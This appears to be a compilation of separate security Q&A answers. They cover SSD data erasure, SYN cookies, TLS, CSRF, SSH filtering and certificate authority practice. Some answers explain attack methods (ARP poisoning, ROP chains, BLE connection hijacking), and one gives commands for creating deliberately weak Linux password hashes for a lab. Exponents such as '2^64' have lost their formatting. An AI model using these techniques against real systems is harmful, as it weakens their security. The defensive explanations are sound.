You'll also see that in the mid 2000's that dropped to 1 round. Why? Because hard drive manufacturers were packing bands so tightly that there was no unused space between the bands anymore and one pass of zeros was sufficient. Good news.

Then came SSDs Solid-state drives have a limited number of times each transistor can we written, so to increase drive lifetime, they do a thing called wear leveling which essentially means that each time you write to a file, it writes a new copy of it somewhere else on the disk and flags the old one as "unused space" so that each sector gets an even amount of use. This has the unfortunate side-effect of leaving many copies of each file scattered around the disk. Wear leveling is done at the hard drive firmware level, so even the OS can't do anything about it. As @James009 said in comments: "So basically if I wipe an SSD then it will start wiping the drive, but it will place the wiping data (the 1’s and 0’s) in places where there is less “wear” and not wipe through the drive."

This paper from 2011, titled "Reliably Erasing Data From Flash-Based Solid State Drives" says:

  Our results lead to three conclusions: First, built-in commands are effective, but manufacturers sometimes implement them incorrectly. Second, overwriting the entire visible address space of an SSD twice is usually, but not always, sufficient to sanitize the drive. Third, none of the existing hard drive-oriented techniques for individual file sanitization are effective on SSDs.

Whether that's still true 7 years later, I don't know.

Bottom line: I Don't think of SSDs the way you think of RAM or traditional hard disks -- concepts like "used space", "unused space", "overwriting a file in-place" etc. Instead think of an SSD drive like a database server with their own CPU that stores and returns (address, data) pairs and does all sorts of black magic optimizations about how that's physically stored on disk.

There are some techniques that are effective for sanitizing SSDs, but they usually rely on the drive having a secure erase command, or on other physical characteristics of the drive. The only method that's guaranteed across all manufacturers is to only ever put encrypted data on the drive.

Modern recommendation: cryptographic erasure.

Since 2014, NIST (in SP-800-88 Rev. 1) have deemed that zeroing out data is only applicable to magnetic media and recommends instead "cryptographic erasure", which is fancy speak for "use full-disk encryption, then you can safely destroy or format the disk simply by forgetting the encryption key!"

Unfortunately this means you needed to have disk encryption turned on before the file was written. Basically, make sure that every piece of data handed to the SSD is encrypted, because once it's there's a chance that it'll be there forever :(

Related questions

There are actually a pile of good answers to this question already. I should have searched before sinking my afternoon into writing an answer :(

Can a full SSD or HDD recover deleted data?
Safely remove original file after encryption
Overwriting hard drive to securely delete a file?
Can wiped SSD data be recovered?

P.S. I have never used any of the tools you mention (cccleaner, cyberscrub, so maybe somebody else can speak to those)


Diffie Hellman Key Exchange in a messaging application

To get a good picture of the Diffie Hellman Key Exchange some diagramatic representations may be helpful.

The common approach for messaging applications on Android (or any other client devices) in Java (or any other language) is to utilize TLS usually in conjunction with HTTPS to authenticate, authorize, and securely communicate the plain text message through a secure stream containing the cipher text representations between peers.

The likelihood of implementing a secure homemade version of a Diffie Hellman Key Exchange without a few years of experience is small.  One fact that may clarify the bigger picture is that security in private-public cryptography relies on Certificate Authority involvement as part of authentication.  JSA (Java Security Architecture) gives you some options to employ all that between peers and in the absence of a web server, but at a higher level.

The relationship between the private and public key is designed such that the private key cannot practically be calculated from the public key, so don't bother trying to find a way to do that.

Another highly secure alternative would be to use a one time pad, which will probably not be practical for your application at all.

If both devices have the same secret (which was agreed upon in advance) you could simply use a symmetric algorithm on both peers, but it would require a strong password to be stored on both devices or remembered by both users.


Practical Man in the middle with bad legitimate certificates

DNS spoofing is just one of the available means to perform a Man-In-The-Middle.

You can for example perform an ARP cache poisoning attack if you are on the same network than the victim, set up a fake open WiFi access point, or perform BGP hijack to intercept some traffic that is routed to Gmail.

So yes, "bad" certificates are only a problem if the attacker can perform a MITM attack, but we recently learned that some companies were performing them at large scale. So bad certificates can cause harm.


How to set an extremely weak password hashing algorithm for linux?

There may be other possibilities depending on the goals and assumptions of your lab exercise. Assuming modern Ubuntu (as your later comment says),  stock descrypt with a common salt is probably the weakest that you can use natively with full support:

$ echo -n 'password' | mkpasswd -s -S '00' -R 1 -m des
00xQPHYlVDIw6

Details:

Ubuntu's modern crypt implementation tries to keep you from creating overly weak hashes by design.

Other than native Unix crypt (descrypt), Ubuntu 16.04 has the following options, from crypt(3):

          ID  | Method
          ─────────────────────────────────────────────────────────
          1   | MD5
          2a  | Blowfish (not in mainline glibc; added in some
              | Linux distributions)
          5   | SHA-256 (since glibc 2.7)
          6   | SHA-512 (since glibc 2.7)

First, about salt. It sounds like you are only generating a single hash. If you were generating many hashes, you could use the same fixed/static salt for all of them, which would make the attack faster. I'll use a salt of all zeroes for simplicity.

descrypt may no longer be recognized. /etc/pam.d/common-password does refer to "Unix crypt" as the default, but this may mean "the OS default system crypt" rather than classic descrypt. descrypt would definitely be the weakest if the system supports it:

$ echo -n 'password' | mkpasswd -s -S '00' -R 1 -m des
00xQPHYlVDIw6

Note - in my testing,  I was still able to use a descrypt password to log into an Ubuntu system. You can give descrypt a try, but the PAM documentation doesn't explicitly list it, so it may or may not work for your purposes.

Blowfish/bcrypt (2a and/or 2y) is by far the slowest, and doesn't seem to be supported in Ubuntu, so we'll discard it.

MD5crypt has a fixed number of rounds (1000), which is one of the reasons that it is now deprecated. And it is faster (and therefore weaker) than SHA-256 or SHA-512.

$ echo -n 'password' | mkpasswd -s -S '00000000' -m md5
$1$00000000$5ybxs8yjIGjFJv4/CuHRd1

Between SHA-256 and SHA-512, SHA-256 is a faster hash and so would theoretically be "weaker" for your purposes.

I checked to see if I could make the SHAs weaker by reducing the number of rounds. There appears to be no simple/naive way do this. The native Ubuntu mkpasswd command calls the underlying crypt function, which ignores -R values under 1000 by design:

SHA-256:

$ echo -n 'password' | mkpasswd -s -S '00000000' -R 1 -m sha-256
$5$rounds=1000$00000000$2h.5f29uvvoub7RFoFxxMG4Yg43KX3rL0rF8vn3CIPC

SHA-512:

$ echo -n 'password' | mkpasswd -s -S '00000000' -R 1 -m sha-512
$6$rounds=1000$00000000$hNBmdrAfQPp5VkP/POLNOo3Dv1tVsOORYGE4pKarVzYs43iS2GdEkUrPU2Xbo6m5mX8PPDPfcQvFKo7Ktar.W.

You could try to find a standalone implementation of one of these that does not use system crypt libraries and lets you override the rounds. But there is no guarantee that the utilities that need to interpret the hash will understand or respect a value lower than the expected minimum (1000). (If I were writing such a utility, I would reject as invalid any hashes with fewer rounds than expected!)

So that leaves us with native minimums for the number of rounds. To illustrate the relative speeds, here are some hashcat benchmark speeds (from a system with six GTX 970s):

Hashtype: bcrypt, Blowfish(OpenBSD)                          39955 H/s
Hashtype: sha512crypt, SHA512(Unix)                          426.6 kH/s
Hashtype: sha256crypt, SHA256(Unix)                         1017.3 kH/s
Hashtype: md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5  28070.8 kH/s
Hashtype: descrypt, DES(Unix), Traditional DES              2645.3 MH/s

So the weakest that is guaranteed to be supported on modern Ubuntu is currently md5crypt descrypt.


What is the difference between SYN cookie, SYN cache, and SYN proxy?

Syn-proxy is a propriatary protocol. An appliance will proxy any TCP request but will only forward it to the server if the three way handshake is completely established.

For SYN-Cache and SYN-Cookie refer to the following excerpt from Cisco:

  SYN Caches: Two end-host defenses, called SYN caches and SYN cookies
  (described later), operate by reducing the amount of state allocated
  initially for a TCB generated by a received SYN, and putting off
  instantiating the full state [8]. In a host that uses a SYN cache, a
  hash table with a limited amount of space in each hash bucket is used
  to store a subset of the data that would normally go into an allocated
  TCB. If and when a handshake completing ACK is received, this data can
  be moved into a full TCB; otherwise the oldest bucket at a particular
  hash value can be reaped when needed. In Lemon's FreeBSD example [8],
  the SYN cache entry for a half connection is 160 bytes, versus 736
  bytes for a full TCB, and 15359 entries in the SYN cache are
  supported.

  The SYN cache data structure is robust to attackers attempting to
  overflow its buckets because it uses the initiator's local port number
  and some secret bits in the hash value. Because stacks are a more
  effective data structure to search than a simple linked list, stacks
  that use a SYN cache can have improved speed, even when not under
  attack. Under Lemon's tests, during an active attack a host using a
  SYN cache was able to establish legitimate connections with only about
  a 15-percent increase in latency.

  SYN Cookies: In contrast to the SYN cache approach, the SYN cookies
  technique causes absolutely zero state to be generated by a received
  SYN. Instead, the most basic data comprising the connection state is
  compressed into the bits of the sequence number used in the SYN-ACK.
  Since for a legitimate connection, an ACK segment will be received
  that echoes this sequence number (actually the sequence number plus
  one), the basic TCB data can be regenerated and a full TCB can safely
  be instantiated by decompressing the Acknowledgement field. This
  decompression can be effective even under heavy attack because there
  is no storage load whatsoever on the listener, only a computational
  load to encode data into the SYN-ACK sequence numbers. The downside is
  that not all TCB data can fit into the 32-bit Sequence Number field,
  so some TCP options required for high performance might be disabled.
  Another problem is that SYN-ACKs are not retransmitted (because
  retransmission would require state), altering the TCP synchronization
  procedures from RFC 793.
  The exact format of TCP SYN cookies is not an interoperability issue,
  because they are only locally interpreted, and the format and
  procedures for generation and validation can vary slightly among
  implementations. Figure 5 depicts the general process of SYN cookie
  generation and validation used by multiple implementations.

  To compute the SYN-ACK sequence number (that is, the TCP cookie) when
  using TCP cookies, a host first concatenates some local secret bits, a
  data structure that contains the IP addresses and TCP ports, the
  initial SYN sequence number, and some index data identifying the
  secret bits. An MD5 digest is computed over all these bytes, and some
  bits are truncated from the hash value to be placed in the SYN-ACK
  sequence number. Because the sequence number is about a fourth the
  size of the full hash value, this truncation is necessary, but
  generally at least 3 bytes worth of the hash bits are used, meaning
  that there should still be close to a 2^24 effort required to guess a
  valid cookie without knowing the local secret bits. In addition to the
  hash output, some of the cookie bits indicate a lower bound on the
  Maximum Segment Size (MSS) that the SYN contained, and the index bits
  identifying the local secret used within the hash.

  To validate a SYN cookie, first the acknowledgement number in an
  incoming ACK segment is decremented by 1 to retrieve the generated SYN
  cookie. The valid value for the set of truncated hash bits is computed
  based on the IP address pair, TCP port numbers, segment sequence
  number minus one, and the value from the secret pool corresponding to
  the index bits inside the cookie. If these computed hash bits match
  those within the ACK segment, then a TCB is initialized and the
  connection proceeds. The encoded MSS bound is used to set a
  reasonable-sized MSS that is no larger than what was originally
  advertised. This MSS is usually implemented as three bits whose code
  points correspond to eight "commonly advertised" MSS values based on
  typical link Maximum Transmission Units (MTUs) and header overheads.

  Hybrid Approaches: A hybrid approach combines two or more of the
  single defense techniques described previously. For instance, some
  end-host operating systems implement both a large backlog and SYN
  cookies, but enable SYN cookies only when the amount of the backlog
  that is occupied exceeds some threshold, allowing them to normally
  operate without the disadvantages of SYN cookies, but also allowing
  them to fail over to the SYN-cookie behavior and be strongly protected
  when an attack occurs.


Exact answer depends on the involved mode of operation, but most of them begin to exhibit unwanted structure when about 2n/2 blocks have been processed, when the underlying block cipher uses n-bit blocks. The fundamental reason for this is that a block cipher like AES is a permutation: any two distinct input blocks are encrypted into two distinct output blocks, always; whereas a pseudorandom function may send two inputs to the same output value, and this ought to become apparent when 2n/2 or so input values have been processed. This is a variant on the so-called birthday paradox.

When that limit is reached, consequences again depend on the involved mode, but they should not be ignored.

In the case of AES, n = 128 (AES uses 128-bit blocks), so you are good for 264 blocks of 16 bytes, which is about 300 millions of terabytes -- in practice, "forever". That's the exact reason AES was defined to use 128-bit blocks, whereas most block ciphers of that era (3DES, RC2, RC5, Blowfish, IDEA...) used 64-bit blocks: so that the 2n/2 limit is pushed sufficiently high to cease to be inconvenient.

There is Tradition, though. For a long time, cryptography was used without computers, relying on algorithms which were quite weak and prone to reveal secrets through statistical analysis. Moreover, cryptography was an exclusively military and diplomatic tool, in a context where it had to be assumed that a substantial proportion of field agent were, at any time, working for the enemy. Both characteristics called for frequent key renewal, to overcome leakage through poor algorithms, and to contain the damage arising from corrupt insiders. In most modern situations, things don't go that way: we have good algorithms which don't leak, and under normal conditions there is no attacker within your systems (and when there is, you have already lost and key renewal won't help). However, you will encounter a lot of standards and guides and "best practices" which mandate renewal after having encrypted some arbitrary amount, usually in the gigabytes range -- the amount is rarely justified, and the whole concept is a remnant of a troubled past.


The text segment which is also called the code segment,  contains the application's static functionality is not randomized by ASLR.  An exploit can jump anywhere into this region of memory reliably,  which permits an attacker to build a chain of ROP gadgets.  The most common goal of a ROP chain is to setup a stable environment to run shell code,  but that is not the only use of ROP.

Additionally,  pwn2own has come up with many other bypasses.  I highly recommend reading the details papers that are published after every pwn2own.  One of my favorite exploits uses a heap overflow to read ASLR'ed memory addresses.


It depends on what the attacker is trying to accomplish.

Usually the goal with a network scan, is to identify active hosts on a network, and what services they offer. Either for the purpose of attacking them or for network security assessment.

You're describing a SYN flood attack, which is different than a scan.

A SYN flood occurs when a host sends a flood of TCP/SYN packets, often with a forged sender address. Each of these packets is handled like a connection request, causing the server to spawn a half-open connection, by sending back a TCP/SYN-ACK packet (Acknowledge), and waiting for a packet in response from the sender address (response to the ACK Packet). However, because the sender address is forged, the response never comes. These half-open connections saturate the number of available connections the server is able to make, keeping it from responding to legitimate requests until after the attack ends.

In the case the port is actually closed, you won't get any half-open connections, but you could possibly saturate the targets connection with packets, which would be a denial of service attack as well.


Is it safe to send SSL certificates via email?

You are right assuming the certificate is useless without the private key, so sending it in the mail is no big security risk and is common practice actually. The certificate is supposed to be public, connecting to your website would also provide me with your certificate, so no need to hack your email there.

edit

When starting the connection the server sends the certificate which incorporates the public key. The client will generate a (symmetric) session key used for encrypting the rest of the communication and encrypt this with the public key. Now only the server with the corresponding private key can decrypt this session key and use it to decrypt and encrypt the following data.

This way it doesn't matter if someone else has your certificate, as long as they don't have the private key belonging to it, they won't be able to decrypt the session key and won't be able to impersonate your server.


Dropbox supports versioning, and the page about this says:

  If you have a Basic (free) or Plus account, you can restore a previous version of a file within 30 days of the change. If you have a Professional or Business account, you have 120 days.

So create a Dropbox account with enough storage, let it sync all your files, and keep it syncing all the time. If ransonmware strikes, reinstall your OS, install Dropbox and get the backed-up files. You will want to contact Dropbox support to do this, as they can rollback your account to a point in time before the files were encrypted.

If you want to build a solution yourself, you could get a computer and install FreeNAS on it (or buy a preinstalled box), and use it to backup. There's a lot of Windows applications to backup things. So you don't depend on Dropbox and will not have to download hundreds of GBs of data if ransomware got your files.


Unix systems typically have many user accounts for system purposes, used for a particular system service, e.g. to run a particular daemon. The processes that provide that service run as that user, the data files manipulated by the service are owned by that user, and the configuration files are readable by that user (but normally not writable: root, i.e. the system administrator, owns the configuration files). This mongodb account is a bog-typical case: it would own the MongoDB database files.

Home directories are not really useful for most system users. For human users they determine where applications look for configuration files, but that's not a concern for system users that only run a specific program that doesn't read per-user configuration files. The home directory is also where the SSH server looks for the user's authorized keys, i.e. additional credentials that grant access to the account, but most system users shouldn't be logged into and so won't have SSH keys. Sometimes the home directory is a system directory (e.g. under /var), sometimes it's /, sometimes it's a nonexistent directory, it doesn't matter.

System users may or may not have a valid shell as their login shell. Having a valid shell such as /bin/sh allows things like su mongodb but in many cases this isn't necessary and the login shell is set to a program that does nothing, such as /bin/false, /bin/true or /usr/sbin/nologin. This serves as an extra layer of defense if some other part of the configuration is botched and allows the user to log in.

Most ways to access a user account run the user's login shell, including SSH (but also su, cron, etc.). Normally, with the shell set to /bin/false, even if you managed to log in over SSH, you wouldn't be able to run anything. The bug you found, CVE-2016-3115, is due to OpenSSH running the X11 cookie injection (calling xauth) before it runs the user's login shell.

But to exploit this bug, you'll first need to pass the first layer of defense and log in to the mongodb account. This should not be possible: the account has no authorized public keys since its home directory doesn't exist, and it should not have a password. Having x in the password column of /etc/passwd does not indicate that the account has a password; it's probably the case for all the accounts. It means that the password hash, if there is one, is in /etc/shadow.


How to capture HTTP Traffic if the application uses Automatic Configuration Script?

Got the solution. Using Upstream proxy in burp suite this can be accomplished. Burp will forward the traffic to the proxy URL and will receive the response.


What does the EC Private key version field mean?

You might be misinterpreting the message you link to.

The private key is represented as a structure that comes from SEC and includes a "version field" which always has value "1".

When the private key is encoded in PKCS#8, then the previous structure is "wrapped": PKCS#8 includes some identifier of the used algorithm ("this is an EC key") and an OCTET STRING that contains the whole of the private key structure as specified above, including the version field with the value "1".

The PKCS#8 wrapper also has a "version" field, normally with value "0". So, in PKCS#8, you get both.

When there is a "version" field, this is a mechanism to potentially support other layouts -- when such things are defined. Right now, no other layout is defined, so all you can do with another value is to make the object undecodable by some software.


If we know CAPTCHA can be beat, why are we still using them?

CAPTCHAs are a trade-off between the patience of the attackers, and the patience of the normal users. Even if they can be beaten, they still serve their purpose if they slow down attackers sufficiently to discourage at least some of them, while not frightening too many potential users.

Of course, as is customary in IT, a lot of systems are used and deployed and adopted because of cargo cult. CAPTCHAs are fashionable and this is sufficient to ensure their widespread usage.


Does gmail's TOS allow Google to steal your emailed ideas?

The relevant section of the google terms of service is the Your Content In Our Services section:

Some of our Services allow you to upload, submit, store, send or receive content. You retain ownership of any intellectual property rights that you hold in that content. In short, what belongs to you stays yours.
When you upload, submit, store, send or receive content to or through our Services, you give Google (and those we work with) a worldwide license to use, host, store, reproduce, modify, create derivative works (such as those resulting from translations, adaptations or other changes we make so that your content works better with our Services), communicate, publish, publicly perform, publicly display and distribute such content. The rights you grant in this license are for the limited purpose of operating, promoting, and improving our Services, and to develop new ones. This license continues even if you stop using our Services (for example, for a business listing you have added to Google Maps). Some Services may offer you ways to access and remove content that has been provided to that Service. Also, in some of our Services, there are terms or settings that narrow the scope of our use of the content submitted in those Services. Make sure you have the necessary rights to grant us this license for any content that you submit to our Services.
Our automated systems analyze your content (including emails) to provide you personally relevant product features, such as customized search results, tailored advertising, and spam and malware detection. This analysis occurs as the content is sent, received, and when it is stored.

I am not a lawyer and am not affiliated with google, but the answer clearly seems to be no.  Your ideas stay your own intellectual property though google may use your submitted content within their products.
Addendum On the other hand though, if I had some secret information that could be used or sold to a competitor to make a lot of money (e.g., imagine a hedge fund with a trading algorithm that has a history of making billions) then I would never publicly share that information with any service regardless of their Terms of Service.  I would only consider sharing it with people who are locked under very strong non-disclosure/non-compete agreements who only have access to the information on systems I control.
Even if the other business states they will not look at information I upload, I simply will not trust them and all their employees with my (unencrypted) information.  The one exception may be to backup personal source code where I encrypted it locally on a trusted computer prior to uploading an encrypted copy (protected by a very strong passphrase).


Should login and logout action have CSRF protection?

Possibly you should protect against Login CSRF. Without this protection an attacker can effectively reverse a CSRF attack. Rather than the victim being logged in to their own account and the attacker tries to ride the session by making requests to the site using the victim's cookies, they will be logging into the site under the attacker's credentials allowing the attacker to effectively hijack requests to the domain that the victim thought were anonymous or were under their own account and then sending it to the attacker's account. Of course whether this is relevant to your particular site or not depends on the nature of your site and whether something like this is advantageous to an attacker. An example is a Login CSRF attack on a search engine so the attacker can see the terms being searched for as they are logged under the attacker's account instead of the victim's.

The main targets for this type of attack is where authenticated actions can take place outside of the main application itself. e.g. from a browser plugin or widget embedded on another site. This is because these actions will be authenticated through the use of cookies, and if an attacker has you logged in as them each action will be recorded in their account.

You should also protect your logout mechanism against CSRF. At first it seems that all an attacker can do is logout the user, which would be annoying at worst. However, if you combine this with a phishing attack, the attacker may be able to entice the victim to re-login in using their own form and then capture the credentials. See here for a recent example - LostPass.


Has Palo Alto firewalls released perimeter protection for the vulnerability in the Bash shell utility?

Shellshock has been exciting today!

To answer your question: Normal PAN-OS maintenance release updates will provide a fix for the vulnerability. I'd always recommend their wildfire professional subscription on the perimeter, it has worked well for my organization!

But you don't really need it, Palo Alto Networks released an emergency IPS signature for protection against this vulnerability, with content version 457 on Wednesday evening. Shellshock was leaked (http://seclists.org/oss-sec/2014/q3/650) with identifier CVE-2014-6271 They, Palo Alto, intends to release additional IPS coverage for the related CVE-2014-7219 vulnerability with a second emergency content release sometime within the next 24 hours. Stay Tuned and Stay Safe!


How do certification authorities store their private root keys?

Serious certification authorities use heavy procedures. At the core, the CA key will be stored in a Hardware Security Module; but that's only part of the thing. The CA itself must be physically protected, which includes proactive and retrospective measures.

Proactive measures are about preventing attacks from succeeding. For instance, the CA will be stored in a vault, with steel doors and guards. The machines themselves are locked, with several padlocks, and nobody holds more than one padlock key. Physical security is of paramount importance; the HSM is only the deepest layer.

Retrospective measures are about recovering after an incident. The HSM will log all signatures. The machine is under 24/7 video surveillance, with off-site recording. These measures are about knowing what has happened (if you prefer, knowing a priori that, should a problem occur, we will be able to analyze it a posteriori). For instance, if "illegal" certificates have been emitted but the complete list of such certificates can be rebuilt, then recovery is as "easy" as revoking the offending certificates.

For extra recovery, the CA is often split into a long-lived root CA which is kept offline, and a short-lived intermediate CA. Both machines are in the cage and bunker; the root CA is never connected to a network. The root CA is physically accessed, with dual control (at least two people together, and video recording) on a regular basis, to emit the certificate for the intermediate CA, and the CRL. This allows revoking an intermediate CA if it got thoroughly hacked (to the point that its private key was stolen, or the list of fraudulently emitted certificates cannot be rebuilt).

Initial setup of a serious root CA involves a Key Ceremony with herds of auditors with prying eyes, and a formalism which would not have been scorned by a Chinese Emperor from the Song dynasty. No amount of auditing can guarantee the absence of vulnerabilities; however, that kind of ceremony can be used to know what was done, to show that security issues have been thought about, and, come what may, to identify the culprit if trouble arises. I have been involved in several such ceremonies; they really are a big "security theater" but have merits beyond the mere display of activities: they force people to have written procedures for everything.

The question is now: are existing CA really serious, in the way described above ? In my experience, they mostly are. If the CA has anything to do with VISA or MasterCard, then you can be sure that HSM, steel and ill-tempered pitbulls are part of the installation; VISA and MasterCard are about money and take it very seriously.

For the CA which are included in Web browsers and operating systems, the browser or OS vendor tends to require a lot of insurance. There again, this is about money; but the insurance company will then require all the physical measures and accounting and auditing. Formally, this will use certifications like WebTrust.

This is true even for infamous CA like DigiNotar or Comodo: note that while they got hacked and fake certificates were issued, the said certificates are known and were revoked (and Microsoft added them to a list of "forbidden certificates" which can be seen as a kind of "revoked, and we really mean it" -- software must go out of his way to accept them nonetheless).

The "weak" CA are mostly the State-controlled root CA. Microsoft can refuse to include a root key from a private venture, if Microsoft feels that enough insurance has not been provided (they want to be sure that the CA is financially robust, so that operations can be maintained); I know of a bank with millions of customers who tried to get their root key included in Windows, and were dismissed on the basis that they were "too small". However, Microsoft is much weaker against official CA from sovereign states; if they want to do business in country X, they cannot really afford to reject the root CA key from government X. Unfortunately, not all governments are "serious" when it comes to protecting their CA keys...


How to disable/block Microsoft Store on Windows 10 Pro by firewall?

Im not sure on how you are planning to block the application through firewall. I believe you can only block the traffic from "windows store" using firewall.

But, this can be done by any application control program or AV(If the AV has an Application control feature).
you can configure the application control program to block the execution of WinStore.App.exe (main process of windows store application).


Self signed SSL certificate in multiple devices - Is this secure enough?

If you have control over both the client and the server, you can use self-signed certificates securely. The best way to do this is to create a private self-signed root CA, and use that to sign the certificates of the various devices. In the client, verify that the server's certificate has been signed by the private root CA. Also, use a different certificate for each device. You wouldn't want to give someone access to all devices if he hacks one device.

This setup will provide transport level security, so you can safely send a QR code.


Whitelist Application For Windows Server 2012

Is it worth at all to change Blacklist to Whitelist?

Possibly. Whitelists are nearly always better but hard to say for sure from what you've said.

  Could you suggest me some solutions that are already exists?

I'm a little confused here. The "best" solution to this problem is nearly always a dedicated firewall. Is there a reason you are not using that?

You really need to give us some more information about the server and what it is doing and in what environment. As others have commented, a VPN might be the best solution for your developers and admins.

  Is it a good idea to program it by myself?

No! It is never a good idea to do that. You will never have the level of resources available to people and organisations who's sole purpose is to produce security solutions.


If and why should any personal information be destroyed before putting scrap paper into the recycle container?

This practice sonuds a bit over the top to me. Sure, I would be careful with leaving my credit card number or email password in the trash. But apart from highly sensitive information like that,  I just would not care.

Emails and phone numbers? There are easier and less smelly ways to harvest them. Bank statements? Might be useful for social engineering, and perhaps something there could be used to impersonate you to the bank in an attempt to take over your account. But again, searching through peoples trash at random doesn't really pass a cost benefit test. Your old school material? Now this is just getting silly...

So unless you are a very attractive target, I'd relax. You might want to brush up your polynomials, though.


Is installing malicious add-ons via drive-by attacks the only way to add new toolbars to browsers?

Simple answer: No

Any attack which compromises your machine could add toolbars to your browser.

However, this is a very different type of attack, and to be honest, any attacker who has full control of your machine is likely to do worse things, like making you part of a botnet, adding keystroke loggers etc.


The "better way" is server-side validation, because you simply cannot control what the client will send.  It does not matter what client-side method you use - <input maxlength=, javascript, what-have-you.

To quote OWASP:

  Note that client side validation is a fine idea for performance and
  usability, but it has no security benefit whatsoever. Server side
  checks are required to defend against parameter manipulation attacks.

See also this answer which lays the difference out nicely.


Does a separate internet connection increase security for remote users?

I think there are many factors that could make it a legitimate request:

other people in the home who might need network segregation
load balancing
old equipment (getting a newer modem)
VPN configurations

I, myself, have made the same request to a certain remote employee to ensure separation of use within that employee's home. Sometimes it's simply to ensure that the work traffic is not competing with heavy home traffic.

Edit

Public networks are public networks, whether they are the Internet or a home network. If your company has controls in place to securely traverse the Internet, then they should have the same controls on a home network, all things being equal. But, at home, not all things are equal. Home users have physical access to endpoints. That can change the risk model, depending on the situation.


SSH Security allowing only certain users to connect to the server

You can't do MAC filtering unless all the clients are on the same network segment as the server (i.e. no router in between). This is not the case here; the server has no way to know the client's MAC address.

You can set up an IP-based filter with iptables (Linux's low-level firewall configuration command) or with one of its numerous frontends such as ufw, which the official firewall tool on Ubuntu.

Here's an ufw example, assuming you want to allow only addresses of the form 192.0.2.x and deny all other incoming connections:

ufw default deny incoming
ufw allow proto tcp from 192.0.2.0/24 to any port 22

This blocks connections before the SSH server even sees them. You may impose additional restrictions in the SSH server configuration. For example, you could allow the pranav account to log in from anywhere, and users in the friends group only from 192.0.2.x, and other users not at all. You can do this with the following configuration in /etc/ssh/sshd_config:

DenyUsers *
AllowUsers pranav
Match 192.0.2.0/24
    AllowGroups friends

You cannot prevent someone from giving their password or key to another person. If your friends do that, tell them they can't be your friends anymore after such a breach of trust.


For instance, CTCP does not support SSL, where IRC does. However, with standard IRC, there is no mechanism to check whether other parties are using SSL, and whether server links are protected.

The point of that Encrypt Everything page is that CTCP divulges a large amount of information about you and your client. It is not about confidentiality of your communications - that's not available with IRC (plaintext communication) anyway.

With CTCP/DCC, things like your timezone, OS and client version are available. Obviously, timezone is anyway available from your IP address.


Known password length, brute force character in place?

If you have a password verification mechanism which lets you know, in any way, whether a given letter is correct or not, independently of the others, then you have an awfully weak, stupidly designed password verification mechanism. That's what happens when you let Hollywood scenarists deal with reality.

This board game is an illustration of how bad it is: if a letter "clicks into place", as you put it, then your password can be beaten by an 8 years old kid from the early 70s (and without any computer at all). I strongly hope that login screen security has increased a bit beyond the Disco kid security level.


Does a "Barge-in Attack" exist for unencrypted Bluetooth Low Energy connections?

Yes, this is possible I think. In a certain way. If you have a bluetooth SIG account:
http://go.bluetooth.com/CRw0070Ut0UB04Qu3G04F02

Also already shown with proof of concept at DEF CON 26

If you search for BtleJack at google, you will also find a ready to use tool which is doing exactly what you are describing.

First step is to do a selective jamming: The response packets from slave to master at the beginning of each connection event are jammed. At master side a connection timeout will occur and the attacker can hijack the connection by spoofing the master.

This is not exactly a man-in-the-middle attack. It is replacing the master by your own device. In practice the master will now maybe try to reconnect and you could create the link from master to your device by spoofing the slave.

So this method is maybe not a "barge-in attack" but enforcing reconnect to the wrong device. Dependent on the scenario this may result in the same.


Find accounts that belong to an e-mail address

Short answer is, not really ... and if you think about it, its actually a good thing most of the time.  Can you imagine going for a job interview and being asked why you registered for an "adult" site, or a site that promotes piracy back when you where in school ... and whether or not this makes you a fundamentally decent person today?

However, most sites you sign up for should have a double opt-in ... one on the page, and a verification via email.  In this case you should have a record of it in your old email (if you didn't delete it).

Also, if you signed up for a site and you adhere to a good password strategy ... you may be able to check your browsers saved passwords for a list of accounts associated with a given email address.


There is no "connection-id" in the Finished messages. For that matter, there appears to be no "connection-id" concept at all in the whole SSL/TLS standard. The closest concept is that of a session ID, which is exchanged through the ClientHello and ServerHello messages, not the Finished messages. By definition, the session ID is not specific to a single connection.

The contents of the Finished message are a hash computed over all the previously exchanged handshake messages, in both directions. The Finished message being sent after the ChangeCipherSpec, it is protected with the newly negotiated cryptographic algorithms and keys, i.e. encrypted and MACed.

The protection against replay attack relies on the way the Finished message contents are computed: since the hash is done over all handshake messages, it includes, in particular, the client_random and server_random elements sent by both client and server. An attacker trying to do a replay cannot reuse both randoms, because, by definition, the attacker is replaying the client while talking to the genuine server, or replaying the server while talking to the genuine client.

As a SSL walkthrough, I recommend this answer.


Someone called my cell phone offering services about something I have been looking for in the web

As mentioned by multiple people that commented, there are many ways that this could have happened, and any guess as to how this happened is largely based on conjecture.

Having said that, my guess is that one of the sites that you visited may have used some sort of marketing automation tool (such as Marketo), which (possibly through the use of browser fingerprinting or 3rd-party cookies) identified you, and got your phone number by cross-referencing you with some other database.

At http://launchpoint.marketo.com/netfactor/782-visitortrack/, Marketo advertises that they can "...turn invisible web visitors into actionable prospect intelligence including Company name, Address, Phone number, Website, key Executives, email addresses and more".


The best practice is:

The basic idea. Create an API key (a 128-bit symmetric key) for each separate user account.  This key needs to be securely stored on the server, and also securely stored on the user's client.

For each request made by the client, add an extra request parameter that has a "signature" on the entire request.  The "signature" should be calculated as S = MAC(K, R), where K is the API key and R is the entire request, including all request parameters.  Here MAC should be a secure message authentication code algorithm, such as AES-CMAC or SHA1-HMAC.

It is the client's responsibility to compute the signature and append it to the request; it is the server's responsibility to verify the signature and ignore any request with an invalid signature.  You may also need to include an additional parameter with the request that identifies the user account making the request.

This will provide authentication of the request, but not confidentiality or replay prevention, and the client does receive an authenticated response from the server.

I suggest sending all requests over https (not http).  This will provide an additional level of security against a number of tricky cases.  The performance implications of doing this are less than you might think -- SSL has less performance overhead than most people think -- so don't discard this idea on performance grounds unless you've actually measured the performance overhead and found it to be unacceptable.

Additional things to watch out for.  You may want to use a one-time-use nonce, to prevent replay of authenticated requests.  I suggest using a cryptographic-strength random value (at least 64 bits long).  This is unnecessary if you are using https.

Make sure your server is written to defend against host-parameter pollution (HPP) attacks.  For instance, it should reject any request with multiple request parameters of the same type (e.g., http://example.com/foo.html?name=x&name=y).  Also, when writing server code, be careful when creating new requests based upon a request you received.  For instance, before processing each request, your server code might validate that the request comes with only the expected list of parameters and nothing more; discard duplicate parameters or unexpected parameters before processing the request.

Watch out for concatenation flaws if you decide to protect multiple values with the message authentication code.


Two Factor Authentication Secret Storage

No clever storage method exists for HOTP and TOTP. You should do your best to limit which programs can look up shared secrets using ordinary access control methods. (Plus physically securing the computer and erasing hard dives before they need to be discarded.)

